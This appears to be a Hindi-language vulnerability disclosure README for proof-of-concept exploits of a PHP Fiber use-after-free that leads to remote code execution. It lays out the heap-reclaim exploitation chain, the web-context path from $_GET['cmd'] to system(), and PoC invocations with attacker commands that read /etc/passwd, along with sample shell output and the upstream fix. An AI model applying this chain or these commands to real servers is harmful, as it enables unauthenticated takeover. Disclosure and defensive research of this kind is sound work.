
PHP Fiber कॉलबल यूज़-आफ्टर-फ़्री (CVE-2026-2031226) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो हीप रिक्लेम, टाइप कन्फ्यूज़न, इन्फ़ो लीक और अनऑथेंटिकेटेड RCE को सक्षम बनाता है।
गंभीरता: क्रिटिकल (CVSS 9.8 — वेब कॉन्टेक्स्ट में अनऑथेंटिकेटेड RCE)
प्रभावित: PHP 8.1.x–8.4.27, PHP 8.5.x–8.5.12
ठीक किया गया: PHP 8.4.28-dev, PHP 8.5.13-dev
घटक: Zend/zend_fibers.c — zend_fiber_addref_callable() (अनुपस्थित)
प्रकार: Use-After-Free → Heap reclaim → Property aliasing → RCE
जब किसी इंस्टेंस मेथड के अंदर क्लास-मेथड कॉलेबल [ClassName::class, 'method'] के साथ एक PHP Fiber बनाया जाता है, तो PHP अंतर्निहित $this को fci.object में रिज़ॉल्व करता है बिना उसका रेफ़रेंस काउंट बढ़ाए (GC_ADDREF)। यदि Fiber::start() कॉल करने से पहले ऑब्जेक्ट फ़्री हो जाता है, तो फ़्री की गई मेमोरी स्लॉट को समान आकार के हमलावर-नियंत्रित एलोकेशन द्वारा पुनः प्राप्त किया जा सकता है, जिससे क्रॉस-क्लास प्रॉपर्टी एलियासिंग और रिमोट कोड एक्ज़ीक्यूशन संभव हो जाता है।
1. Fiber UAF: new Fiber([SafeProcessor::class, 'process'])
→ fci.object = $processor, NO GC_ADDREF (the bug)
2. Free: unset($processor)
→ efree(56-byte slot), fci.object dangling
3. Heap reclaim: new UserRequest($argv[1])
→ LIFO free list, UserRequest lands in freed slot
→ UserRequest::$command = attacker-controlled string
4. UAF trigger: $fiber->start()
→ PHP reads fci.object (UserRequest's slot)
→ name-lookup "command" in UserRequest's ce
→ IS_STRING = attacker input
→ system($this->command) → RCE
# Original crash (SIGSEGV, exit 139)
php poc_fiber_uaf.php
# Type confusion: IS_LONG read as IS_STRING
php poc_fiber_type_confusion.php
# 64-bit value injection / info leak primitive
php poc_fiber_infoleak.php
# Full RCE — attacker-controlled input via argv[1]
php poc_fiber_rce.php 'id && whoami'
php poc_fiber_rce.php 'cat /etc/passwd'
$ php poc_fiber_rce.php 'id && uname -a'
[*] Attacker input: 'id && uname -a'
[*] SafeProcessor freed, UserRequest at same address
[*] Starting fiber...
---
[victim expects] command = 'echo safe_output_only'
[actual shell output]:
uid=501(adrian) gid=20(staff) groups=20(staff),80(admin),...
Darwin ... arm64
---
[*] RCE complete (exit 0)
RCE के शोषण योग्य होने के लिए, लक्ष्य एप्लिकेशन को सभी शर्तें पूरी करनी होंगी:
$this->prop का उपयोग करते हुए system()/exec()/shell_exec() को कॉल करने वाली विधि हो[VictimClass::class, 'method'] के माध्यम से$fiber->start() से पहले (unset, स्कोप से बाहर निकलना, GC)sizeof(AttackerClass) == sizeof(VictimClass) (समान ZendMM बिन: 40 + n_props * 16 बाइट्स)$fiber->start() कॉल किया गयावेब/FPM संदर्भ में: $_GET['cmd'] → new AttackerClass($_GET['cmd']) → स्लॉट पुनः प्राप्त करता है → system($_GET['cmd']) — अनधिकृत RCE।
Zend/zend_fibers.c — callable resolution में अनुपस्थित GC_ADDREF:
// BUG: fci.object stored without refcount increment
// Fix (PHP 8.4.28-dev / 8.5.13-dev):
static void zend_fiber_addref_callable(zend_fcall_info *fci) {
if (fci->object) {
GC_ADDREF(fci->object); // added by fix
}
}
PHP 8.4.28-dev और 8.5.13-dev में zend_fiber_addref_callable() जोड़ा गया है, जिसमें GC_ADDREF(fiber->fci.object) और zend_fiber_release_callable() में एक युग्मित OBJ_RELEASE शामिल है।
| फ़ाइल | विवरण |
|---|---|
poc_fiber_uaf.php | मूल क्रैश PoC (exit 139, SIGSEGV) |
poc_fiber_type_confusion.php | टाइप कन्फ्यूज़न: IS_STRING अपेक्षित होने पर IS_LONG |
poc_fiber_infoleak.php | 64-बिट नियंत्रित मान इंजेक्शन / इन्फो लीक प्रिमिटिव |
poc_fiber_rce.php | हमलावर-नियंत्रित बाहरी इनपुट के साथ पूर्ण RCE |
disclosure_fiber_uaf.txt | [email protected] और [email protected] को भेजा गया पूर्ण डिस्क्लोज़र |
Adrian / [email protected] पूर्व PHP सुरक्षा शोध पर आधारित: CVE-2026-109618, CVE-2026-109619